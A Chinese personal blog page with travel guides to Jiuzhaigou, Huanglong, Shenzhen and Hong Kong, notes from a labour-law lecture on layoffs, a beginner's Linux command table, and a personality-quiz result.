Yanxin's profile登高望远PhotosBlogListsMore Tools Help

Blog


    6/19/2009

    九寨沟,黄龙&海螺沟自驾攻略(二)

    Day 4
          九寨沟口---川主寺---红军长征纪念馆---黄龙---九寨天堂
          早上办理完Check out之后就把所有行李都扔到车上,开始往黄龙进发。一路基本上都是山路,不过相比较来九寨沟的路已经好了很多。正巧遇到昨天下雨,山上全都积起了大雪,山景是别有一番风味,不过给开车的难度增加了许多。

    DSC_0090 DSC_0098 DSC_0108
          川主寺是松潘县下辖的一个小镇,不过到那里的时候发现这里也相当繁华,可能是因为离九黄机场比较近的缘故吧。在这里有红军长征纪念园,貌似当年红军翻越夹金山的时候路过了这里。
    DSC_0149 DSC_0156
          在这里换县道前往黄龙,路况比之前的213国道要差许多了,路上要翻过一个海拔5000米的山,加上下雪,这段路也是十分危险的。特别是在从这里回九寨的时候在山顶上起了大雾,能见度不到30米,也算吓出一身冷汗,朋友打趣说开过这种路况后基本上没有什么别的路会被难倒了。
    DSC_0203 DSC_0206 DSC_0247 DSC_0225 DSC_0236 DSC_0267
          到达黄龙的时候已经是下午1点,来这里的人看起来比九寨沟要少许多。买票的时候售票员好心的提醒我们现在是黄龙的枯水期,只有五彩池有水,不过进去的时候发现干枯的河床也是很不错的,可以想象有水的季节里这里是多么的美了。黄龙这里海拔偏高,景区内基本上都是上山下山的路,走上去还是非常辛苦的,虽然说景区有缆车,不过缆车离五彩池也很远,大概也就是把上山的路拉成了平路而已。
    DSC_0279 DSC_0286 DSC_0294 DSC_0303 DSC_0370 DSC_0392 DSC_0407 DSC_0420
          从黄龙回来后就转到九寨天堂,作为九寨沟最有特色的酒店趁着淡季来体验体验。不过由于今天开车太累办理了Check in后就在客房休息,这里的奢华程度还是出乎了自己的预料。
    DSC_0609 DSC_0619
          花费:黄龙学生票150/人,黄龙缆车下行40/人,油费60,藏族晚餐60

    5/19/2009

    九寨沟,黄龙&海螺沟自驾攻略(一)

    九寨美景的确不虚此行,虽然不是最好的时间,但是依然被这里的美景所震撼

    Day 1
          成都---绵阳---江油---平武---九寨沟县---九寨沟口DSC_0003
          第一天出发的有点晚,成都出发的时候已经接近中午11点,不由的开始担心会不会需要晚上在山道上赶路。虽然如此,但还是得继续前进,因为美景就在前方。出成都后上成绵高速,往绵阳方向驶去,郁闷的是在高速上堵了两次,耽误了不少时间。从绵阳北下高速后走205省到往江油方向,到江油前路都挺好走的,基本上也看不出有什么地震的影响。出了江油后继续顺205省道,在桂溪乡附近换105省道,然后再在南坪镇换205省道一直到平武县。这段路受到地震影响比较大,时不时的在路上都有坑坑洼洼的洞,有的地方整个路面都被毁坏,只有推土机推出来的不平土路,来往的车辆比较多,在这里也堵了将近半个小时。在这里地震后的痕迹也随处可见,不过欣喜的是灾区也都已经开始重建,路边的小村也在回DSC_0018复往日的繁华。到平武的时候已经下午5点半了,犹豫了一阵后决定继续赶路,后面路线比较明确,也就是顺着205国道一直走。从平武到进入阿坝州之前的路还比较好走,偶尔路中会出现几个小洞。当进入阿坝后路况吓了我们一条,水泥没有了,都是黄土路,好多地方路面塌陷或者毁坏,只有刚用推土机推出来的一条只允许单车通过的小道,路面坑坑洼洼,起伏不平,再加上进入阿坝的时候已经晚上6点半了,天开始黑起来,这段路只有用惊心动魄来形容。不过十分幸运的是在路上遇到了一个同自驾去九寨的师傅,他十分热心的晚上在前面帮我们带路,如果不是他这段路还真是不知道怎么开过来。在路上颠了4个多小时后10点半来到了九寨沟县,和之前给我们带路的师傅分手了。不过再往后从九寨沟县到九寨沟口的路十分好走,终于在11点多赶到了宾馆。
          花费:成绵高速¥43,213国道¥25,油费大概¥100

    Day 2
          九寨沟口---徒步树正沟---盆景滩---芦苇海---火花海---树正群海---犀牛海---诺日朗瀑布---九寨沟口DSC_0090
          早上起床后呼吸着新鲜的空气,看着身边山上的云雾,不得不感叹这里就像仙境。
          九点多赶到景区门口,只买了门票,第一天想先徒步体验先九寨沟,不过不得不说这是对自己脚力的一个很大的考验。一直到下午五点,我们才终于到了九寨沟的三条沟的中间处,整整八个小时。但是路上的美景的确不是坐旅游车能看到。当我们疲惫的走到诺日朗时就在想今天看来是出不去了,不过遇到了一个好心的当地藏族大叔,开车把我们带到了沟口,不得不说西部人们的热心于淳朴。

    DSC_0095DSC_0116DSC_0123DSC_0205DSC_0311DSC_0336 DSC_0345DSC_0379 
          花费:出租车费¥10,九寨沟门票¥170/人

    Day 3
          九寨沟口---搭游览车到长海---五彩池---诺日朗服务中心---原始森林---天鹅海箭竹海---五花海---珍珠滩---镜海---树正寨---九寨沟口
          在昨天走了15公里的山路后今天再看看90公里的山路,想想后还是去买了张车票。坐车游九寨的确轻松了许多,不过总感觉少了点什么。似乎坐车只能走马观花的看看这里的美景,而无法体验这里的宁静。早上先坐车去长海,看着雪山在海子里的倒影,感觉人都被净化了。由于时间不是很好,五彩池里没有多少水,几个季节海也都干掉了,这个不得不说是一个遗憾。之后的原始森林是九寨海拔最高的地方,在里面呼吸呼吸新鲜空气还是不错的,唯一的问题就是这里比较冷。之后的五花海是九寨沟的精华,可以选择从箭竹海徒步往五花海,在雨水季节可以看到箭竹海瀑布。五花海感觉像五彩池和镜海和结合,平静的水面上呈现出不同的颜色,不过个人感觉更喜欢长海那种宁静的感觉。后面的珍珠滩瀑布据说就是老西游记片尾的那个拍摄地,仔细一看还是挺像的(其实本来就是)。风景看完了也就该去体验人文了,之后来到九寨沟内最大的藏族村寨---树正寨。里面有很多卖纪念品的小店,不过最吸引我的还是听了许久的青稞饼和酥油茶,青稞饼的味道感觉和煎饼差不多,酥油茶就是十分像台湾奶茶,后来几天在这里每天跑去找酥油茶喝。

    DSC_0021 DSC_0049 DSC_0101 DSC_0135 DSC_0180 DSC_0276 DSC_0320 DSC_1438 
          花费:观光车费¥90/人,景区小吃¥10,千鹤酒店住宿180×3

    3/10/2009

    [转载]裁员中的博弈

    裁员知识不完全版

    昨天下午,冒着大风大雨去听中华阴才网办的一个HR lecture,题目叫裁员危机管理。本来一看题目就知道很boring,不过小老板说反正免费不去白不去,于是哼哧哼哧跑到科学会堂待了一下午。

    以为没什么人会听的,结果竟然全场坐满,难道真是现在企业都在忙着裁员么。。。上半场的90分钟极其无聊,讲EAP(员工援助计划),听的昏昏欲睡。休息过后下半场开始,精彩的来了。

    主讲老师应该是个劳动法专家,由于底下坐着的target audience都是HR,主要讲的就是裁员、降薪、调休里可能出现的法律问题。没有开场白,直接一个问题抛下来:一个企业要裁掉签约3年的员工,目前员工只工作了7个月,还有2年零5个月即29个月的劳动合同未履行,那么企业最多有可能需要支付多少赔偿才能裁掉他?(或者从劳动者的角度就是说员工最多可以要求得到多少赔偿)

    底下众说纷纭,最多的就是说2个月工资赔偿即N+1原则。不过后来听下来,如果这名员工不是盏省油的灯,他最多可以要求得到2年零五个月全部的工资做赔偿。原因会慢慢讲(自己整理出来的,思维有点混乱。。。)

    一般来说,只有企业在合法解除劳动关系时,N+1原则才适用,此处N=工龄。但此处的合法解除指的是严格按照法律程序的做法,包括:程序合法、条件合法等。

    从裁员的种类说起,裁员包括:1.优化性裁员。这通常是由于员工的自身原因造成的比如不能胜任工作等(当企业想干净利落一劳永逸的裁掉某人时,也能使用给员工扣“不胜任”帽子的手段进行裁员)。2.经济性裁员。3.结构性裁员。 2与3都是由于企业自身原因造成的。这种情况下员工完全有权利要求上司写推荐信或者要求在公司重新开放headcount时自己会被优先考虑。

    当企业要裁掉超过20名以上或者占总数10%以上的员工时,就构成了规模性的裁员,要走的法律程序就是:上报劳动部门批准、经员工工会批准(无工会的由员工代表替代,以下同),这就是程序合法。

    现在三鹿这样的。2.企业生产经营严重困难,这里的严重困难不是企业说了算,而是必须企业处于亏损状态,在降低生产成本措施和CUT掉营运成本(包括广告费、业务招待费、高管过高收入、员工补贴等费用,或搬到租金低廉的办公楼)6个月后仍亏损的。3.企业适逢转产、经营方式调整期间,比如由原先的直营方式变为代理商或者生产方式由手工变流水线等。像西门子前几年剥离手机业务,裁掉手机部的员工一样。

    当企业在不符合这些条件的情况下单方要求终止劳动合同,如果与员工协商后,员工(傻乎乎或者懵掉了或者被HR花特了)签字确认自己同意终止合同,企业就支付N+1赔偿金。若员工懂劳动法且不太好搞定且精的不得了,那么他可以向公司提出诉讼。

    一般此类诉讼仲裁期为一年,员工可在第11个月时提出上诉,要求:恢复原先劳动合同,撤销解雇决定,赔偿被非法解雇期间损失工资。如员工胜诉,则企业必须支付这11个月+3个月(假设仲裁耗时3个月)+继续履行未完的合同。而这个时候,员工可与选择拿了赔偿但是不继续履行合同,也就是说企业给了这人14月的工资赔偿,但却没压榨到这14个月的劳动力,裁了等于没裁。

    或者员工还可以采取另一种方法,就是在第11个月向劳动局投诉,然后这个1年的仲裁期会重新归零开始计算,等到第2个11月后再提出诉讼,最终死缠烂打胜诉获得29月赔偿。(这块讲太快了没听很明白。。。)

    以上就是公司违法、单方解除劳动关系的后果,但如果HR谈判技巧高超或者员工实在太不关心自己权益就很有可能出现这样的情况,HR说:本来你只能拿到N+1的赔偿,我可以试着争取N+4,员工反正当场知道被炒也傻掉就签掉了,双方协商后解除劳动关系,就只有光光的N+4可拿。(如果那句帮你争取N+4只是说说的,那就只有光光的N+1了)。

    当决定裁员时,HR常常会说:做出这样的决定我们也非常难过,但很不幸你在我们的裁员名单上面。而被裁的可怜人也常常或悲伤或愤怒的问:为什么被裁的总是我。个么裁员名单是怎么确定的涅~

    首先劳动法规定以下的人不能裁:
    1.处在“三期”内的女员工(除非公司倒闭了,那三期也得滚蛋)。三期=孕期+产期+哺乳期,加起来时间长的不得了,这也是现在闪孕普遍的原因。
    2.处在法定医疗期的员工。比如一个工龄12年的员工,他的有薪病假可能会有12个月,在这期间不能被裁,还要领病假工资。有些人可能就会在收到被裁通知前几天突如其来“病倒”了。
    3.处于工伤治疗期内的员工。比如不小心干活的时候把指甲盖掀掉了,看病看个一年。。。
    4.企业本身为生产性企业,而这部分员工有患职业病的风险。比如一个企业车间里粉尘很多,现在它要裁员,那在裁员名单上的员工就必须确定他们没有职业病才行。那怎么确定没这个病呢,就要做体检。那如果员工死活不去体检呢,那拿他没办法。。。

    其次有些员工必须优先留用,也就是说裁员时优先不被考虑:
    1.签不固定期劳动合同的。一般来说劳动合同签1年的试用期1个月,2年的试用期2个月,3年以上的试用期6个月的(如果试用期间不缴纳四险一金,转正之后也可补交),除了固定期以外的就是没写明的无固定劳动合同。
    2.劳动合同期限较长的。就是裁员时优先考虑1年,然后2年,3年。。。直至无固定期。
    3.员工家庭中无其他就业人员的。就是说该员工是顶梁柱,裁掉他上有老下有小要饿死的。

    可以看到,如果企业严格按照法律规定的裁员顺序,裁员之后剩下的都是老弱病残,这就是企业要千方百计与员工“协商”解除劳动关系的原因。

    裁员之后是降薪的问题。企业不得无故单方提出降薪,员工工资一般在劳动合同中已写明,如果有调整,需双方协商同意(“协商”这个词很微妙)。如果工资不在

    合同中写明而是在员工制度中写,那么如果调整工资就必须修改制度,而制度不是企业想改就改,必须经由工会或员工代表同意。如果企业单方降薪,员工可在离职后提出“公司单方克扣工资”的诉讼,有效期为离职时间内1年。如果员工主动提出降薪就是

    另外回事儿了,特别是在目前恶劣的形势下。再是调休的问题。现在很多企业会让员工放年假,有些会说:无限期把以后的年假先休光,以后业务复苏后再加班补回来。但根据劳动法,企业的年假以年为单
    位,不可预支年假。如果法定年假为N天,而企业年假为N+m,则这多出的m天为员工福利不得要求返还。也不能还没加班就先调休(除非是在算综合工时的时候)。

    如果企业没业务了,但和员工的劳动关系还在,那么员工处于停薪留职状态,但不表示企业1分工钱都不付是有道理的。严格说来必须在停工第1个月支付全额工资,第2个月起支付最低工资(上海如此,如果是江苏就是最低工资的80%)。此处的"没业务停产",指的是全公司停工,而不是有一批人在干活,另外一批人休息停产。

    一般来说,企业在裁员时,都会面对以下障碍:
    1.劳动合同。上面都说过了。
    2.法律依据。
    3.社会障碍。比如企业大规模裁员,必然影响就业率,必然影响社会和谐,必然影响与政府关系可能连累到以往享受的优惠政策,或者收到新闻媒体攻击有损企业声誉,或者造成员工暴力和对HR的人身攻击。。。
    4.道德障碍。说到底裁员总归有损RP。

    In a word,裁员总归是下下策。
    当一个企业经营不佳时,在裁员之前其实有很多步骤可以做:
    1.上面已经讲过,搬到租金较低的办公楼或者有优惠政策的区域,比如张江,比如外高桥。CUT业务招待费(特别是已经没业务的时候)、员工补贴、福利等等一切可以CUT的开支。
    2.减员。
    减员跟裁员不同的地方是,减员是:a.对于合同即将到期的员工不再继续签约,而不是合同未履行完就终止。b.减掉实习生。c.减掉退休返聘人员。d.减掉与劳务派遣公司签约而不是公司签约的员工(这就是为什么不要找和劳务派遣公司签约的原因,福利待遇差了一大截还不安稳)。e.减掉严重违纪人员。“严重违纪”也是个很微妙的词,下面会讲。f.减掉绩效考核不合格的员工,这个就是优化性的调整了。
    3.可以由高管带头主动降薪,然后由企业和员工协商降薪。(“协商”again。。。如果没有员工,那么可以选出几个员工代表来,这几个代表同意了,那就OK了。问题是这个实际操作起来实在是。。。)鼓励员工请无薪事假。
    4.停工停产。上面也讲了。
    5.如果以上4步全部没效果,只能裁员。而从劳动者的角度来说,如果企业没有按照这4步来做,那就说明其中可能有不符规定行为。

    90分钟的部分到这里结束,接下来的Q&A的环节举手者不断。举手的HR一个比一个直接,比如问题一。
    Q:如果公司要优化裁员,当说明员工绩效考核不合格时,应该怎样举证?(“绩效考核”又是个很微妙的词)
    A:1.绩效考核必须量化,方便日后举证。比如考核标准可以写:出错率小于5%等。
    2.考核过程中如不能量化,那就要具体化。比如让员工签字同意“该员工团队合作意识不强、不融入公司”,肯定没人签。要是改成“该员工上月3次员工团体活动均未参加”,如果有签到表显示确实如此,不想签也得签。而这句话其实潜台词跟“不融入公司”效果也差不多。

    问题二
    Q:公司里有一个签了无固定期的中级管理人员,薪水较高,为节省开支想把他裁掉,但死活不肯协商签字,该怎么办?
    A:两个途径:一个是揪出他严重违纪。二是指出他不胜任工作。北京发生的实例:一公司年薪30万的管理人员,公司想开掉,又不想搞砸反而赔了夫人又折兵,于是先告诉他,由于不景气现在没有高端的活给他干了,只能去干低层次的活,比如每天输输数据。这个员工多少也拎得清了,知道自己有被炒的危险,于是乖乖输数据。但是百密总有一疏,公司绩效考核发现他输入的错误率偏高了(整天输数据不错才怪)于是要求他参加培训。员工于是去培训,但发现培训对一个中级管理者太傻太侮辱人了,愤怒之下不去培训了。然而一般公司的员工条例里都会规定员工必须参加由公司组织的、有益业务能力的培训活动,于是公司以严重违纪开掉了他。官司打到终院员工输掉了。由此可见,对公司来说裁员时这两个方法要结合着灵活运用。对员工来说,真是防不胜防还是夹紧尾巴做人保险。。。

    以上就是讲座笔记,整理得真累。想起礼拜二乘公交的时候听到一个民工打电话说:他们只给开2K,我才不去。我们村里跑长途的不给3K都不去的。好有底气的民工啊,听的我一阵心寒。。。

    1/10/2009

    Linux初学者常用命令

    现在的Linux图形管理界面越来越强大了,但是还是有些操作用命令行更方便。
    前几天老有人加我QQ问我一些很奇怪的问题,希望有想学习Linux的朋友可以系统的先看一些基本操作方式和常用的命令。至少不用去问别人一些感觉奇怪的问题,这就像一个刚学电脑的朋友问怎么开机一样。不会开机用什么电脑呢?
    在网上找了一份完整一点的Linux初学者常用命令,希望能够帮助到想学习Linux的朋友。

    没必要全部都记住,又不是去做网管。稍微明白记住一点就够用了。
    下载Linux命令PDF请点击这里

    NO 分类 PS1 命令名 用法及参数 功能注解
    1 文件管理 # ls ls -a 列出当前目录下的所有文件,包括以.头的隐含文件
    文件管理 # ls ls -l或ll 列出当前目录下文件的详细信息
    文件管理 # pwd pwd 查看当前所在目录的绝对路经
    文件管理 # cd cd .. 回当前目录的上一级目录
    文件管理 # cd cd - 回上一次所在的目录
    文件管理 # cd cd ~ 或 cd 回当前用户的宿主目录
    文件管理 # cd cd ~用户名 回指定用户的宿主目录
    2 文件管理 # mkdir mkdir 目录名 创建一个目录
    文件管理 # mkdir mkdir –p 递归式去创建一些嵌套目录
    文件管理 # rmdir Rmdir 空目录名 删除一个空目录
    3 文件管理 # rm rm 文件名 文件名 删除一个文件或多个文件
    文件管理 # rm rm -rf 非空目录名 递归删除一个非空目录下的一切,不让提式-f
    4 文件管理 # cat cat文件名 一屏查看文件内容
    5 文件管理 # more more文件名 分页查看文件内容
    6 文件管理 # less less 文件名 可控分页查看文件内容
    7 文件管理 # grep grep字符 文件名 根据字符匹配来查看文件部分内容
    8 文件管理 # mv mv 路经/文件 /经/文件 移动相对路经下的文件到绝对路经下
    文件管理 # mv mv 文件名 新名称 在当前目录下改名
    9 文件管理 # cp cp /路经/文件 ./ 移动绝对路经下的文件到当前目录下
    10 文件管理 # find find 路经 -name “字符串” 查找路经所在范围内满足字符串匹配的文件和目录
    11 文件管理 # ln ln 源文件 链接名 创建当前目录源文件的硬链接
    ln /home/test /usr/test1 在/usr下建立/home/test的硬链接
    12 文件管理 # ln Ln -s a b 创建当前目录下a的符号链接b
    13 文件管理 # touch touch file1 file2 创建两个空文件
    14 磁盘管理 # df df 用于报告文件系统的总容量,使用量,剩余容量。
    15 磁盘管理 # du du -b /home 查看目前/HOME目录的容量(k)及子目录的容量(k)。
    16 磁盘管理 # fdisk fdisk -l 查看系统分区信息
    17 磁盘管理 # fdisk fdisk /dev/sdb 为一块新的SCSI硬盘进行分区
    18 磁盘管理 # mkfs.ext3 Mkfs.ext3 /dev/sdb1
    为第一块SCSI硬盘的第一主分区格式化成
    ext3的文件系统
    mkfs.ext2 Mkfs.ext2/dev/sdb2 格式化成ext2文件系统
    19 磁盘管理 # mount mount -t 文件系统类型 设备路经 访问路经
    磁盘管理 # 文件系统类型
    Iso9660 光驱文件系统
    vfat Fat文件系统(windows)
    挂载光驱 # mount –t iso9660 /dev/cdrom /mnt/cdrom
    挂载FAT # mount –t vfat /dev/hda5 /mnt/cdrom 挂第一个ide的第五个逻辑分区
    17 磁盘管理 # Umount /mnt/cdrom 卸载/mnt/cdrom为空
    18 文件权限 # chmod chmod u+s file 为file的属主加上特殊权限
    chmod g+r file 为file的属组加上读权限
    chmod o+w file 为file的其它用户加上写权限
    chmod a-x file 为file的所有用户减去执行权限
    chmod 765 file 为file的属主设为完全权限,属组设成读写权,其它用户具有读和执心权限
    19 文件权限 # chown chown root /home 把/home的属主改成root用户
    20 文件权限 # chgrp chgrp root /home 把/home的属组改成root组
    21 打印管理 # redhat-config-printer-tui 进入安装打印机界面
    22 打印管理 # lp lp –d hptr file 打印file到hptr的打印机上
    23 打印管理 # lpq Lpq –P 打印机名 查看打印机的状态
    24 打印管理 # lprm Lprm –P 打印机名 a 删除打印机内的打印作业
    25 打印管理 # disable Disable –r “changing paper” HPtr 禁用打印机并提示原因
    26 打印管理 # enable Enable HPtr 重新启用被禁用的
    27 用户管理 # useradd Useradd 创建一个新的用户
    28 用户管理 # groupadd Groupadd 组名 创建一个新的组
    29 用户管理 # passwd Passwd 用户名 为用户创建密码
    30 用户管理 # Passwd -d Passwd -d用户名 删除用户密码也能登陆
    31 用户管理 # Passwd -l Passwd -l用户名 锁定账号密码
    32 用户管理 # Passwd -u Passwd -u用户名 解锁账号密码
    33 用户管理 # Passwd -S Passwd -S用户名 查询账号密码
    34 用户管理 # Usermod -l Usermod -l 新用户名 老用户名 为用户改名
    35 用户管理 # Usermod -L Usermod -L 要锁定用户名 锁定用户登陆
    36 用户管理 # Usermod -U Usermod –U解锁用户名 解锁用户登陆
    37 用户管理 # Usermod -u Usermod –u 501用户名 改变用户UID
    38 用户管理 # Userdel Userdel–r 用户名 删除用户一切
    39 用户管理 # Groupmod -n Groupmod –n新用户名 老用户名 为组改名
    40 用户管理 # Groupmod -g Groupmod –g 501 组名 改变组GID
    41 用户管理 # groupdel Groupdel组名 先应删它的用户 删除组
    42 用户管理 # gpasswd -a gpasswd -a 用户名 组名 增加用户到组
    43 用户管理 # Id id 用户名 查用户信息
    44 软件管理 # rpm -qa rpm –qa | less 查询已安装RPM
    45 软件管理 # rpm –qa | grep ftp 查询指定RPM
    46 软件管理 # rpm -q rpm -q 已安装的RPM包 查是否安装
    47 软件管理 # rpm -q telnet-server 查看telnet服务器包
    48 软件管理 # rpm -qi rpm –qi 软件包名称 查看软件的描述信息
    49 软件管理 # rpm -ql rpm –ql软件包名称 查询软件包的文件列表
    50 软件管理 # rpm -qf rpm –qf软件包名称 查询某个文件所属的软件包
    51 软件管理 # rpm -qp rpm –qp软件包全名 查询未安装的软件包信息
    52 软件管理 # rpm -e rpm –e 软件包名称 删除具体的软件包
    53 软件管理 # rpm -U rpm –Uvh软件包全名 升级软件包并显示过程
    54 软件管理 # rpm -ivh rpm –ivh 软件包全名 安装软件包并显示过程
    55 软件管理 # rpm -V rpm –V软件包名称 验证软件包的大小,类型等
    56 软件管理 # tar -c 创建包 –x 释放包 -v 显示命令过程 –z 代表压缩包
    57 软件管理 # tar -cf tar –cvf benet.tar /home/benet 把/home/benet目录打包
    58 软件管理 # tar -czf tar –zcvf benet.tar.gz /mnt 把目录打包并压缩
    59 软件管理 # tar –tf tar –tf benet.tar 看非压缩包的文件列表
    60 软件管理 # tar –tzf tar –tf benet.tar.gz 看压缩包的文件列表
    61 软件管理 # tar –xf tar –xf benet.tar 非压缩包的文件恢复
    62 软件管理 # tar –zxvf tar –zxvf benet.tar.gz 压缩包的文件解压恢复
    63 软件管理 # tar -jxvf tar –jxvf benet.tar.bz2
    64 软件管理 # diff diff file1 file2 > 补丁名.patch 为新旧文件生成补丁文件
    65 软件管理 # diff diff file1 file2 比较两个文件的区别
    66 软件管理 # Patch Patch file补丁名.patch 打补丁
    67 软件管理 # ./configure –prefix=/usr/local/ 编译前配置
    68 软件管理 # make 编译
    69 软件管理 # make install 安装编译好的源码包
    70 启动管理 # reboot Init 6 重启LINUX系统
    71 启动管理 # Halt Init 0 Shutdown –h now 关闭LINUX系统
    72 启动管理 # runlevel 显示系统运行级
    73 启动管理 # Init [0123456] 改变系统运行级,7种
    74 启动管理 # Chkconfig –-list [服务名称] 查看服务的状态
    75 启动管理 # Chkconfig –-level <运行级> <服务名> on|off|set 设置服务的启动状态
    76 启动管理 # Chkconfig <服务名> on|off|set 设置非独立服务启状态
    77 进程管理 # Top动态 Ps-aux静态 进程树pstree 查看系统进程
    78 进程管理 # 程序名 & 后台运行程序
    79 进程管理 # fg 把后台运行的进程调回前台
    80 进程管理 # bg 把前台运行进程调到后台
    81 进程管理 # renice Renice +1 180 把180号进程的优先级加1
    82 进程管理 # kill Kill PID 终止某个PID进程
    83 进程管理 # at at 5pm + 3 days
    /bin/ls 指定三天后下午5:00执行/bin/ls
    84 进程管理 # crontab Crontab -e 用VI的形式来编辑自动周期性任务
    85 进程管理 # crontab Crontab -l 查看自动周期性任务
    86 进程管理 # crontab Crontab -r 删除自动周期性任务
    87 进程管理 # crond Service crond
    马上启动自动周期性服务 Service crond <启动|停止|重启|状态>

    实现磁盘配额 (注安装LINUX时建立/home分区)
    目标:对用户zhao在/home目录上实现soft limit为5k,hard limit 为10k的磁盘配额
    实现步骤:
    1. 修改包含/home的行, #vi /etc/fstab, 改为:defaults,usrquota。也就是增加usrquota项。然后保存退出。
    2、卸载/home目录 #umount /home
    3. 挂接/home目录 #mount /home
    4、增加用户zhao #useradd zhao
    5、修改密码 #passwd zhao
    6、生成关于/home目录的quota信息 # quotacheck -cmug /home
    #quotacheck -vu /home
    7、查看所有用户的信息 #repquota -au
    8、设置配额 #edquota -u zhao
    将soft 和hard 分别改为5和10
    9、保存并退出 #wq!
    10、修改时间 #edquota -t
    11、 #wq!
    12.开启/home上的磁盘配额功能 #quotaon /home
    13.查询配额 #quota -u zhao
    14.验证配额 #su - zhao
    $touch myfile

    12/17/2008

    最近大家都在玩这个

    我也来玩玩看,感觉大家测出来的都差不多
     
    心灵手巧的工作狂
     
    性格简笔画
          当你测试完,蓝心想告诉你,拯救地球的重任落在你的身上了。
      的确,你就是这类人。一直以来你都有个远大的目标,有抱负。低调不是王道,你的魅力迟早会如同漆黑中的萤火虫,散发出光芒。
      你的五星级的好奇心加上你的与生俱来的动手能力,让家长担心家里物件不能摆脱被解剖的命运。你的动手操作能力有时也会给家里的小电器带来新生。
      你喜欢竞争、敢冒风险,挑战来临前觉得期待和激动。
      对于你而言,与其平平淡淡地过小日子,不如轰轰烈烈的去干一番大事。在你一直在寻找机会,一个可以提升自己展示自己的机会
      你注重效率、为人务实。心动不如行动,只要你确定目标,便会脚踏实地去拼搏和实现。而不是整天幻想怎么去花掉福利彩票的500万头奖。
    爱情扫描仪
           好吧。现在吧你的右手放到圣经上,请告诉我爱情和事业你把什么放在第一位?往往,为了追逐事业的成功,你不会去发现身边谁是那个最可爱的人。
      你还擅长为心爱的人亲手制作小礼物,如幸运星、纸折戒指等,纯手工打造,交友追求最佳良品。蓝心相信,这份原创的浪漫更让你的心上人感动得死去活来。
      当然,情书、情话、鲜花不是你的风格。和你恋爱不会有密集的花前月下,你希望的是对方能和你双剑合璧,一起仗剑天涯。这才是你的爱情宝典。

    注意问题
          你注重对权力、权威、物质的追求。这些东西对你而言是成功的重要标志。因此在生活和工作中,你可能经常会以利益得失、权利、地位、金钱等来衡量做事的价值。这样会让别人感觉你过于现实,而不能靠得太近。
      应该学会去分享,事业永远不是全部。自我放松,体验平凡而普通大快乐,可能让你大事业更有动力。无论失败或者成功,也许有一天你会发现,与你同行的人,比你想到的地方更为重要。
    发展方向
           喜欢要求具备经营、管理、劝服、监督和领导才能,以实现机构、政治、社会及经济目标的工作,并具备相应的能力。如项目经理、销售人员,营销管理人员、政府官员、企业领导、法官、律师。
    11/8/2008

    深圳香港旅游攻略

    正好11月要来深圳开一个会,乘着这个机会假公济私,于是乎顺便把深圳香港玩了一圈。不料正巧是万圣节,这里旅游多了一丝节日的气息。除开会议日程,整理出个旅游攻略,也算是造福后人~~~

    Day 1
    直接飞到深圳,然后宾馆入住。这里特别推荐汉庭快捷深圳万象城店(深圳市罗湖区嘉宾路4023号,靠近金威大厦,电话:0755.82471128)。地段特别的好,处于深圳罗湖区的中心位置。交通十分方便,门口金威大厦这里有许多公交车,往西往东步行10分钟以内分别是地铁国贸站和地铁大剧院站。购物的话附近有国贸大厦和万象城,楼下还有一家24小时的7-Eleven。酒店工作人员也挺热情的,总是在对你微笑。

    Day 2
    早上起床后搭乘地铁大剧院站到时间之窗站。出来就可以看到大大的世界之窗几个字。不过推荐还是先去欢乐谷,毕竟有些游乐项目下午后排队会人比较多。欢乐谷里面玩的东西很一般,特别是对于准备去香港迪斯尼或者海洋公园的人来说这个都可以省略掉。不过里面的一个叫地道战的演出很不错,加上观众互动,非常搞笑,不过每天只有两场。这里感觉来玩的人素质不是特别高,插队现象还是很严重的。欢乐谷出来后来到世界之窗,这里是一些地方的微缩模型,做的也挺一般。很搞笑的是为了配合万圣节活动,这里把科罗拉多大峡谷里面放满了骷髅.......囧rz......还有一点是这里可是拍出金字塔与埃菲尔铁塔同在一张照片里面的效果哦,照相爱好者不容错过。
    PS:这里虽然有学生票出售,不过只针对深圳当地大学的大学生们,歧视啊~~~

    Day 3
    早上起来后去酒店旁边的金威大厦2楼迎海渔港尝试了下广东早茶,这里很网上评价的果然一样,价格很实惠而且味道很不错。服务员也很热情,不过给我们推荐的东西太多了,没有吃完......
    中午酒店退房后来到罗湖过关,顺便办了张八达通卡,至少先充HK150,本来还以为用不完,结果后来发现还不够用。香港这边订房可以说不幸又万幸。这几天正巧万圣节,加上有3,4个展会同时举行,市中心的酒店要么定不到,要么价格高的离谱(比平时翻了一倍)。正好网上有人代订荃湾如心海景,一间夜不到500。于是就定了那里。这里还是要推荐一下的,酒店很豪华,5星的标准,下午入住后差点被里面的设施给震撼了(我是个土人),从42楼往下望风景格外不错(如果是海景就更好了)。离地铁荃湾西5分钟的路程,除了上网收费费用有点离谱外其他一切都很完美。
    宾馆入住后终于摆脱了沉重的背包,然后乘着天色尚早,乘地铁来到旺角。顺着弥敦道慢慢往南闲逛,路上看到一家卖叉烧的小店似乎人挺多的,就进去尝试一下,果然这里叉烧味道不同凡响。出来后又碰到顺义牛奶公司,里面的双皮奶自然也不能放过。快到油麻地时偶遇一家中华书局,跑到里面逛了一下,感慨这里真是什么书都有啊。出来后不想继续在地底穿行了,于是开始找公交车站,这几开往尖沙咀的巴士还是挺多的,随便上了一辆往尖沙咀码头的方向去了。
    到了尖沙咀码头的时候正好有一个激光束的表演(有点类似浦东的楼上打的激光,不过这里有音乐和解说),RP还是很不错。看完表演顺着码头很快就可以来到星光大道,地上有很多香港明星的名牌,大家开始纷纷来找自己认识的合影。逛完这里后来到码头搭乘天星小轮过海到中环码头。
    中环感觉类似浦东的陆家嘴,是个金融中心。来的时候挺晚了,大厦基本上都关门了。不过还是看到了传说的中银香港大厦和汇丰大厦,据说这两个楼还有一段风水学上的渊源,仔细一看汇丰楼上的那两个东西还真象两把手枪。夜晚十分虽然看不到商业气息,不过确实去酒吧的好时机,于是就来到兰桂坊。这里十分热闹,喝酒聊天的人们把酒吧80%以上的位置都占满了,转了转发现我们其实也不是那种喜欢泡吧的人,于是拍了几张照片后回到了酒店。

    Day 4
    上午起来后首先准备去海洋公园,来到地铁金顶站出来后有一路专线公交直到海洋公园门口,还是挺方便的。海洋公园里面类似大游乐园和水族馆的结合,还是很不错的。推荐每个展览馆都进去看一下,至于游乐项目就大家量力而为。到了下午旅游团来的会很多,所以到时候上山的缆车人会很多,最好能尽量避免。
